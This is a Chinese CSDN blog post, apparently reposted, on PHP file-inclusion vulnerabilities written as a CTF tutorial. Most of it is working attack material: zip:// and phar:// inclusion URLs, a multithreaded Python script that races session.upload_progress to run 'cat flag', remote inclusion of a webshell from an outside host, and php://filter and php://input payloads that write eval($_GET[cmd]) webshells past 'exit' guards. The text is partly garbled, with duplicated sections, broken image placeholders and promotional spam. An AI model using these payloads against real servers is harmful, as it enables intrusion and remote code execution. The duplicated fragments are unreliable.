详解文件包含漏洞_&lt； php show_source(__file__)； error_reporting(1)； i(5)

于 2024-05-17 03:59:54 发布
阅读量719 收藏 11
点赞数 29
文章标签： c语言 c++ 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84976562/article/details/138985405
版权

img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上C C++开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以戳这里获取



> 
> 很明显看出来这是个文件包含，但是将传递的文件名后面强制加了一个".jpg"的后缀，导致了无法任意文件包含  
>  首先我们新建一个shell.php文件，内容如下：
> 
> 
>
<?php phpinfo();?> 


> 
> * 并将其改名为test.jpg，因为上面的代码只能包含 jpg 文件嘛
> * 然后将其压缩成zip包，压缩的时候注意要选择only store之类的选项，防止数据被压缩
> * 然后将这个 zip 的后缀改为 jpg 之类的(有时不改直接用zip后缀也可以成功)，目的是可以成功上传，之后我们就可以通过：`http://localhost/H3rmesk1t/demo.php?file=zip://D:/Users/86138/Desktop/shell.zip%23shell`或者`http://localhost/H3rmesk1t/demo.php?file=zip://D:/Users/86138/Desktop/shell.jpg%23shell`或者`http://localhost/H3rmesk1t/demo.php?file=phar://D:/Users/86138/Desktop/shell.zip/shell`或者`http://localhost/H3rmesk1t/demo.php?file=phar://D:/Users/86138/Desktop/shell.jpg/shell`
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/2021052716515172.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527165359687.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527165519527.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2021052716553289.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)



> 
> * zip://文件路径/zip文件名称#压缩包内的文件名称 （使用时注意将#号进行URL编码）
> * phar://文件路径/phar文件名称/phar内的文件名称
> * phar://协议与zip://类似，同样可以访问zip格式压缩包内容
> 
> 
> 


#### Session文件包含漏洞



> 
> * 前提条件：PHP版本>5.4.0
> * 配置项：session.upload\_progress.enabled的值为On
> * 利用session.upload\_progress进行文件包含,在php5.4之后添加了这个功能
> 
> 
>

（由于我是在Windows环境下做的测试就把限制条件去掉了）

<?php highlight\_file(\_\_FILE\_\_); if(isset($\_GET['file'])){ $file = $\_GET['file']; // $file = str\_replace("php", "xxx", $file); // $file = str\_replace("data", "xxx", $file); // $file = str\_replace(":", "xxx", $file); // $file = str\_replace(".", "xxx", $file); include($file); }else{ echo "Can you find me???"; } ?> 


> 
> 几个php.ini的默认选项：
> 
> 
>

session.upload_progress.enabled = on

表示upload_progress功能开始，即当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中

session.upload_progress.cleanup = on

表示当文件上传结束后，php将会立即清空对应session文件中的内容

session.upload_progress.prefix = “upload_progress_”
session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”

表示为session中的键名

session.use_strict_mode=off

表示对Cookie中sessionid可控



> 
> 例如：在`session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'`的条件下上传文件，便会在`session['upload_progress_D1no']`中储存一些本次上传相关的信息，储存在`/tmp/sess_H3rmesk1t`
> 
> 
>

// PHPSESSION = H3rmesk1t


![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527171251145.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)



> 
> 通过上图和几个默认选项的有关介绍就想是否可以利用session.upload\_progress来写入恶意语句，然后进行包含文件，但前提是需要知道session的存储位置
> 
> 
> 



> 
> PHP中session的存储机制：
> 
> 
> * php中的session中的内容并不是存储在内存中，而是以文件的方式进行存储，存储方式是由配置项`session.save_handler`来进行确定的，默认便是以文件的方式进行存储，存储文件的名字便是由`sess_sessionid`来进行命名的，文件的内容便是session值序列化之后的内容，至于存储路径便是由配置项`session.save_path`来进行决定的
> 
> 
> 



> 
> 一般session的存储路径都不会怎么去改，默认的便是：
> 
> 
> * linux：/tmp 或 /var/lib/php/session
> * Windows：C:\WINDOWS\Temp
> 
> 
> 



> 
> 存储路径知道了，但是由于代码中没有session\_start()函数，无法创建出session文件；其实如果配置项session.auto\_start=On 是打开的，那么PHP在接收请求的时候便会自动化Session，不再需要执行该函数，但默认都是关闭的；在session中还有一个默认选项，便是上面提到的session.use\_strict\_mode默认值是0，用户可以自己定义SessionID
> 
> 
>

Cookie中设置：
PHPSESSID = H3rmesk1t
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_H3rmesk1t

即使此时用户没有初始化Session，PHP也会自动初始化Session
并产生一个键值，这个键值由ini.get(“session.upload_progress.prefix”)+我们构造的session.upload_progress.name值组成，最后被写入sess_文件里



> 
> 还有一个问题没有解决，默认配置session.upload\_progress.cleanup = on导致文件上传后，session文件内容会立即被清空，所以这里就需要去使用多线程同时进行写和读，进行条件竞争，在session文件清除前进行包含利用
> 
> 
>

import requests
import io
import threading

url = ‘http://xxx.xxx.xx.xx:80/H3rmesk1t/demo.php’
sessID = ‘H3rmesk1t’

def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b’H3rmesk1t’ * 1024 * 50)
reponse = session.post(
url,
cookies={‘PHPSESSID’: sessID},
data={‘PHP_SESSION_UPLOAD_PROGRESS’:‘<?php system("cat flag");?>’},
files={‘file’😦‘text.txt’,f)}
)
def read(session):
while event.isSet():
reponse = session.get(url + ‘?file=/phpstudy/phpstudy_x64/phpstudy_pro/Extensions/tmp/sess_{}’.format(sessID))
if ‘D1no’ in reponse.text:
print(reponse.text)
#将event的标志设置为False，调用wait方法的所有线程将被阻塞；
event.clear()
else:
print(‘[*]continued’)

if name == ‘__main__’:
#通过threading.Event()可以创建一个事件管理标志，该标志（event）默认为False
event = threading.Event()
#将event的标志设置为True，调用wait方法的所有线程将被唤醒；
event.set()
#会话机制(Session）在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()


![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527175151787.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)



> 
> 这样就可以得到flag了,除此之外，还可以使用burp来进行条件竞争，例如利用下面的html上传代码上传一个文件
> 
> 
> 





![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527210427952.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)



> 
> 再根据代码抓一个get的包，请求/tmp/sess\_flag
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527210518638.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)



> 
> 同时进行爆破，payload设置成null payloads就可以一直爆破
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527210557830.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)


### 远程包含



> 
> 利用前提：
> 
> 
> * allow\_url\_fopen = On 是否允许打开远程文件
> * allow\_url\_include = On 是否允许include/require远程文件
> 
> 
> 


#### 无任何限制



> 
> 代码没有任何限制，直接在公网上存放恶意webshell即可，然后通过包含即可执行恶意payload  
>  `?filename=http://xxxx/php.txt`
> 
> 
> 


#### 限制包含文件的后缀名



> 
> 例如：`<?php include($_GET['filename'] . ".no"); ?>`
> 
> 
> 



> 
> * 第一种方法：?绕过 `?filename=http://xxxx/php.txt?`
> * 第二种方法：#绕过 `?filename=http://xxxx/php.txt%23`
> 
> 
> 


## PHP伪协议



> 
> 简单理解便是PHP自己提供的一套协议，可以适用于自己的语言，其他语言则不适用，这便是伪协议，与之相对的例如HTTP\HTTPS便不是伪协议，因为大部分系统\软件都能够进行识别
> 
> 
> 


### 常见的伪协议



> 
> 可以看下之间[详解PHP伪协议](https://bbs.csdn.net/topics/618668825)的内容  
>  ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527211634446.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)  
>  如果遇到的环境有写入权限，可以使用php://input伪协议来写入木马
> 
> 
>

POST DATA

<?php fputs(fopen('H3rmesk1t.php','w'),'<?php @eval($\_GET[cmd]); ?>'); ?> 

### php://filter各种过滤器



> 
> php://filter是一种元封装器，设计用来数据流打开时筛选过滤应用，详见[官方文档](https://bbs.csdn.net/topics/618668825)
> 
> 
> 



> 
> 对于php://来说，是支持多种过滤器嵌套的，格式如下：
> 
> 
>

php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称（包含后缀名）

如果|被过滤掉了，可以使用多过滤器:

php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称（包含后缀名）

嵌套过程的执行流程为从左到右

其实是可以简写成这样的php://filter/[过滤器] ，php会自己进行识别


![在这里插入图片描述](https://img-blog.csdnimg.cn/20210527212439780.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0xZSjIwMDEwNzI4,size_16,color_FFFFFF,t_70#pic_center)


### 过滤器列表




| 过滤器名称 | 说明 | 类别 | 版本 |
| --- | --- | --- | --- |
| string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0 |
| string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0 |
| string.strip\_tags | 去除`<?(.*?)?>`的内容 | string.strip\_tags | PHP<7.3.0 |
| convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0 |
| convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 | 转换过滤器 | PHP>5.0.0 |
| convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0 |
| zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
| bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |



> 
> 从上面的过滤器列表中便会发现，php伪协议主要支持以下几类：
> 
> 
> 1. 字符串过滤器
> 2. string.strip\_tags
> 3. 转换过滤器
> 4. 压缩过滤器
> 5. 加密过滤器
> 
> 
> 


### PHP伪协议常用函数



> 
> **注意show\_source有回显，而file\_get\_contents是没有回显的**
> 
> 
> * file\_get\_contents
> * file\_put\_contents
> * readfile
> * fopen
> * file
> * show\_source
> * highlight\_file
> 
> 
> 


### file\_put\_content与死亡/杂糅代码



> 
> CTF经常类似考察这样的代码：
> 
> 
> * `file_put_contents($filename,"<?php exit();".$content);`
> * `file_put_contents($content,"<?php exit();".$content);`
> * `file_put_contents($filename,$content . "\nxxxxxx");`
> 
> 
> 这种代码非常常见，在$content开头增加了exit进程，即使写入一句话也无法执行，遇到这种问题一般的解决方法便是利用伪协议`php://filter`，结合编码或相应的过滤器进行绕过；绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码
> 
> 
> 


#### 第一种情况
<?php if(isset($\_GET['file'])){ $file = $\_GET['file']; $content = $\_POST['content']; file\_put\_contents($file,"<?php exit();".$content); }else{ highlight\_file(\_\_FILE\_\_); } ``` > > **base64编码绕过：** > > > * 上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码 > * 使用base64编码，是因为base64只能打印64 (a-z0-9A-Z) 个可打印字符，PHP在解码base64时如果遇到了不在其中的字符，便会跳过这些字符，然后将合法字符组成一个新的字符串再进行解码 > * 当$content被加上了`<?php exit; ?>`以后，可以使用`php://filter/convert.base64-decode`来对其解码，在解码的过程中，字符`<?;空格`等不符合base64编码的字符范围将会被忽略，所以最终被解码的字符只有phpexit和传入的其他字符
  • 但是还要知道的是base64解码时是4个byte一组，上面正常解码的只有7个字符，所以再手动加上去1个字符a，凑齐8个字符
Payload：

?file=php://filter/convert.base64-decode/resource=H3rmesk1t.php
POST DATA
content=aPD9waHAgcGhwaW5mbygpOyA/Pg==

在这里插入图片描述

rot13编码绕过：
利用rot13编码其实和base64编码绕过原理一样，只要成为php无法进行识别的代码，就不会执行
前提是PHP没有开启short_open_tag(短标签)，默认情况下是没有开启的

在这里插入图片描述

Payload：

<?php
$s = '<?php @eval($\_GET[cmd]); ?>';
echo str\_rot13($s)
?>
=>
<?cuc @riny($\_TRG[pzq]); ?>

?file=php://filter/write=string.rot13/resource=test1.php
POST DATA
content=<?cuc @riny($\_TRG[pzq]); ?>

在这里插入图片描述

嵌套绕过：
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签（php7.3之后移除）

string.strip_tags可以去除剥去字符串中的 HTML、XML 以及 PHP 的标签，而<?php exit; ?>实际上便是一个XML标签，既然是XML标签，就可以利用strip_tags函数去除它，所以可以先将webshell用base64编码，调用完成strip_tags后再进行base64-decode，死亡exit在第一步被去除，而webshell在第二步被还原

Payload：

#php5
?file=php://filter/string.strip\_tags|convert.base64-decode/resource=test2.php
POST DATA
content=?>PD9waHAgcGhwaW5mbygpOyA/Pg==
#由于<?php exit();不是完整的标签，所以需要加上?>进行补全

在这里插入图片描述

但是这种方法有局限性，因为string.strip_tags在php7.3以上的环境下会发生段错误，从而导致无法写入，在php5或者php7.2的环境下则不受此影响

过滤器嵌套：
如果环境是php7的话，也可以使用过滤器嵌套的方法来做
流程是先将三个过滤器叠加之后进行压缩，然后转小写，最后再解压，这样的流程执行结束后会导致部分死亡代码错误，便可以写进去我们想要写入的shell，原理很简单，就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱，最终变成php无法识别的字符

经测试可用的Payload：

?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=a.php
POST DATA
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($\_GET[cmd]);?>/resource=a.php
或者(没试过)
content=php/:|<?php%0Dphpinfo();?>/resource=test3.php

在这里插入图片描述

.htaccess的预包含利用：
.htaccess是一个纯文本文件，里面存放着Apache服务器配置相关的一些指令，它类似于Apache的站点配置文件，但只作用于当前目录，而且是只有用户访问目录时才加载，通过该文件可以实现网页301重定向，自定义404错误页面，改变文件拓展名，禁止目录列表等
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件，同时在本目录或子目录中需要有可解析的 php 文件来触发，这时无论访问那个文件，都会解析出flag.php
php_value auto_prepend_file +文件绝对路径（默认为当前上传的目录）

Payload：

?file=php://filter/write=string.strip\_tags/resource=.htaccess
POST DATA
content=?>php_value%20auto_prepend_file%20D:\phpstudy\phpstudy_x64\phpstudy_pro\WWW\H3rmesk1t\flag.php

在这里插入图片描述

第二种情况
<?php
if(isset($\_GET['content'])){
    $content = $\_GET['content'];
    file\_put\_contents($content,"<?php exit();".$content);
}else{
    highlight\_file(\_\_FILE\_\_);
}

这种情况和上面第一种便有点不同了，因为是一个变量，但还是可以利用php伪协议进行嵌套过滤器来消除死亡代码的，可以利用.htaccess进行预包含，然后读取flag

.htaccess预包含绕过：
可以直接自定义预包含文件，这里直接包含了.htaccess导致了所有文件都包含flag.php文件
这里我本机测试时无法执行.htaccess，借用了一下别人的图 (还是太菜了~~)

payload：

?content=php://filter/string.strip\_tags/?>php\_value auto\_prepend\_file D:\flag.php%0a%23/resource=.htaccess

在这里插入图片描述

base64编码绕过：

  • 既然变成了一个变量，那么首先想到的payload便是：php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php但是有一个问题，可以创建文件，但是无法写入内容，原因出在=号上，因为默认情况下base64编码是以=作为结尾的，在正常解码的时候到了=就解码结束了，在最后获取文件名的时候因为resource=中含有等号，所以以为解码是结束了，导致过滤器解码失败，从而报错，内容由于解码过程出错了，所以就都丢弃了
  • 所以现在问题就转变为了只要能去掉这个等号，就可以将内容写进去，可以看下这种方法：php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php如果按照之前的思路是先闭合死亡代码，然后再使用过滤器去除html标签，最后再进行解码，但仔细观察这个payload并非是那种解法，而是直接在内容时，就将我们base64遇到的等号这个问题直接写在<? ?>中进行过滤掉，然后base64-decode再对原本内容的<?php exit();进行转码，从而达到分解死亡代码的目的
  • 除此之外还可以使用之前的思路来做，既然base64编码写在里面不行，那么就直接放在外面，然后搭配一下过滤器php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php先闭合死亡代码，然后进行解码，这样便可以写入到文件中去，但访问的话会出现问题，查看s1mple师傅的方法，发现可以通过使用伪目录的方法，从而绕过去php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../H3rmesk1t.php将前面的一串base64字符和闭合的符号整体看作一个目录，虽然没有，但是后面重新撤回了原目录，生成H3rmesk1t.php文件；从而就可以生成正常的文件名，上面的那种方法也可以使用这种伪目录的方法解决访问问题

rot13编码绕过：
rot13则无需考虑=号问题

Payload：

?content=php://filter/string.rot13/<?cuc cucvasb();?>/resource=1.php

在这里插入图片描述

iconv字符编码绕过：
在php中iconv函数库能够完成各种字符集间的转换
在该函数库下有一个convert.iconv.这样的过滤器，这个过滤器需要php支持iconv，而iconv是默认编译的，使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据

在这里插入图片描述

利用方式就是用此过滤器，从而进行编码的转换，转换掉死亡代码，写入自己的shell，首先先要了解一下UCS的两种编码格式UCS-2和UCS-4：

  • UCS-2就是用两个字节编码
  • UCS-4就是用四个字节编码

来看一下利用这个函数即不同的格式转换后的结果：
第二个之所以要加上两个字符，是因为UCS-4对目标字符串是4位一反转，所以要注意这里的恶意代码要是4的倍数，所以这里需要补上两个字符
在这里插入图片描述

UCS-2利用：
对目标字符串进行2位一反转
(一定要计算好长度，写入php文件中的内容在?<hp phpipfn(o;)>?之前的一定要是2的倍数，就像下面的Payload前面的是57个字符，加了一个?凑成58字符，做题时可以通过本地测试Payload，成功后再利用)

Payload：

?content=php://filter//convert.iconv.UCS-2LE.UCS-2BE|??<hp phpipfn(o;)>?/resource=22.php

在这里插入图片描述

UCS-4的利用：
对目标字符串进行4位一反转，一定要拼凑够4的倍数(构造道理同UCS-2)

img
img

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

测试Payload，成功后再利用)

Payload：

?content=php://filter//convert.iconv.UCS-2LE.UCS-2BE|??<hp phpipfn(o;)>?/resource=22.php

在这里插入图片描述

UCS-4的利用：
对目标字符串进行4位一反转，一定要拼凑够4的倍数(构造道理同UCS-2)

[外链图片转存中…(img-3qrDFS0r-1715889573063)]
[外链图片转存中…(img-88vZINzp-1715889573063)]

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

2401_84976562
关注
  • 29
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
<?php show_source(__FILE__); $mess=$_POST['mess']; if(preg_match("/[a-zA-Z]/",$mess)){     die("inva...
weixin_35752122的博客
01-02 248
这是一段PHP代码。它首先使用了函数 show_source 显示当前文件的源代码，然后从POST变量中获取名为mess的值并将其赋值给变量 $mess。接下来，使用preg_match函数检测 $mess 中是否包含英文字母，如果包含就输出 "invalid input!" 并终止程序。最后，使用 eval 函数对 $mess 进行代码求值。 ...
详解文件包含漏洞_&lt； php show_source(__file__)； error_reporting(1)； i(3)
最新发布
2401_84976527的博客
05-17 735
htaccess是一个纯文本文件，里面存放着Apache服务器配置相关的一些指令，它类似于Apache的站点配置文件，但只作用于当前目录，而且是只有用户访问目录时才加载，通过该文件可以实现网页301重定向，自定义404错误页面，改变文件拓展名，禁止目录列表等。流程是先将三个过滤器叠加之后进行压缩，然后转小写，最后再解压，这样的流程执行结束后会导致部分死亡代码错误，便可以写进去我们想要写入的shell，原理很简单，就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱，最终变成php无法识别的字符。
show_source() 函数
冷月醉雪的博客
03-29 3000
查看更多 https://www.yuque.com/docs/share/0690a545-49d8-4a2e-960d-9ba76b68dba0
ctfshow-php特性
YkingH的博客
01-26 5818
Web专项练习—ctfshow-php特性 php绕过方法总结 小数绕过 进制绕过 ==、 = ==绕过 %20空格绕过 %0a换行绕过 回车\空格+八进制绕过 相对路径绕过 php伪协议读取文件 数组md5值为0 弱类型匹配 函数写???? 运算优先级漏洞 反射类绕过 call_user_func()绕过 sha1()函数绕过 变量覆盖 sha1弱比较 md5弱比较 ereg()截断漏洞 php内置类 FilesystemIterator 压缩过滤器绕过 空格代替url ‘_’ 绕过 gettex
XCTF-攻防世界CTF平台-Web类——4、Web_php_include（php中strstr()函数绕过、数据流协议）
Onlyone_1314的博客
11-14 2954
目录标题一级目录方法一、文件包含：php伪协议绕过strstr()函数方法二、文件包含：GET方式提交命令方法三、data://伪协议方法四、一句话木马连接后台方法五、data://伪协议+一句话木马 一级目录 打开题目地址： 代码： &lt;?php show_source(__FILE__); echo $_GET['hello']; //输出hello变量指向的内容 $page=$_GET['page']; //把page变量的值赋给$page while (strstr($page
PHP中error_reporting函数用法详细介绍
10-19
主要介绍了PHP中error_reporting函数用法详细介绍的相关资料,需要的朋友可以参考下
PHP中error_reporting()用法详解
10-23
php中我们对错误的处理会常用到error_reporting函数了，大家可以看到最多的是error_reporting(E_ALL ^ E_NOTICE)了，这个到底什么意思呢，下面我来来看看。
PHP set_error_handler()函数使用详解（示例）
10-26
需要注意的是，`set_error_handler()` 不会处理 E_ERROR、E_PARSE、E_CORE_ERROR、E_CORE_WARNING、E_COMPILE_ERROR 和 E_COMPILE_WARNING 这些严重级别的错误，因为它们会导致脚本终止。此外，如果你在生产环境中...
深入php函数file_get_contents超时处理的方法详解
12-19
增加超时的时间限制 这里需要注意：set_time_limit只是设置你的PHP程序的超时时间，而不是file_get_contents函数读取URL的超时时间。真正的修改 file_get_contents延时可以用resource $context的timeout参数： 复制...
PHP $_FILES中error返回值详解
10-26
用PHP上传文件时，我们会用程序去监听浏览器发送过来的文件信息，首先会通 过$_FILES[fieldName]['error']的不同数值来判断此欲上传的文件状态是否正常。$_FILES[fieldName] ['error']==0代表一切正常，其它数值的...
PHP命令执行集锦
蚁景网安学院
03-21 2348
代码审计总要遇到命令执行或者说RCE，打CTF的过程中难免不会碰见，毕竟PHP是世界上最好的语言，总结一下...
CTF题目记录5
kkzzjx
05-22 1670
Web_php_include &lt;?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page);//此处为文件包含，执行page中的内容 ?> 考察基础的文件包含，过滤了php：// page变量可以操控 思路：先找flag文件的
文件包含漏洞总结
金色%夕阳的博客
08-19 1144
文件包含漏洞总结 CTF中文件包含漏洞 0x01 什么是文件包含漏洞 0X02 文件包含漏洞的环境要求 0X03 常见文件包含函数 0X04 PHP伪协议 1、PHP://INPUT 2、PHP://FILTER 3、ZIP:// 4、DATA://与PHAR:// 0x05 包含APACHE日志文件 0x0
ISCC 2022 部分
BvxiE的博客
06-10 1306
这里写自定义目录标题 &lt;?php show_source(__FILE__); $Step1=False; $Step2=False; $info=(array)json_decode(@$_GET['Information']); if(is_array($info)){ var_dump($info); is_numeric(@$info["year"])?die("Sorry~"):NULL; if(@$info["year"]){ ($inf
攻防世界-web-Web_php_include（文件包含与伪协议）
2301_77300311的博客
05-04 564
先进行base64编码再urlencode后，构造data://伪协议，payload如下。strstr() 函数搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE。由于strstr()函数和函数都是区分大小写的，那么我们完全可以使用大写的PHP://来绕过过滤。既然过滤了php://的伪协议，我们可以使用其他协议，这里使用data://伪协议。从代码中得知，page参数中带有php://的都会被替换成空。方法三（php://伪协议、大小写过滤）方法二（御剑+菜刀）
ctf刷题小结
quan9i的博客
05-15 6185
CTF刷题小记，文章同步于我的个人博客，欢迎大家访问
使用无参数函数进行命令执行
kali_Ma的博客
01-17 2507
前言 在这里总结一下无参数命令执行。 环境准备 测试代码 &lt;?php highlight_file(__FILE__); if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } ?> 关键代码 preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) 这里使用pregreplace替换匹配到的字符为空，\
【攻防世界 simple_php】writeup
Jhd_02的博客
10-26 401
http://61.147.171.105:52527
嵌入式C语言中__I,__O,__IO详解
10-28
在嵌入式C语言中，__I,__O,__IO是ST库中的宏定义，用于定义变量的读写权限。其中，__I表示只读权限，__O表示只写权限，而__IO则表示可读可写权限。这些宏定义中都包含了volatile关键字，用于告诉编译器该变量是易变的，需要在每次访问时都从内存中读取，而不是使用寄存器中的缓存值。这在嵌入式系统中非常重要，因为硬件设备的状态可能会随时发生变化，需要及时更新变量的值。 另外，const关键字也可以用于嵌入式C语言中，用于限定变量不可被修改。虽然volatile和const看起来似乎是相互矛盾的，但实际上它们可以同时使用。例如，一个变量可以被声明为volatile const类型，表示该变量是只读的，并且需要在每次访问时都从内存中读取。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值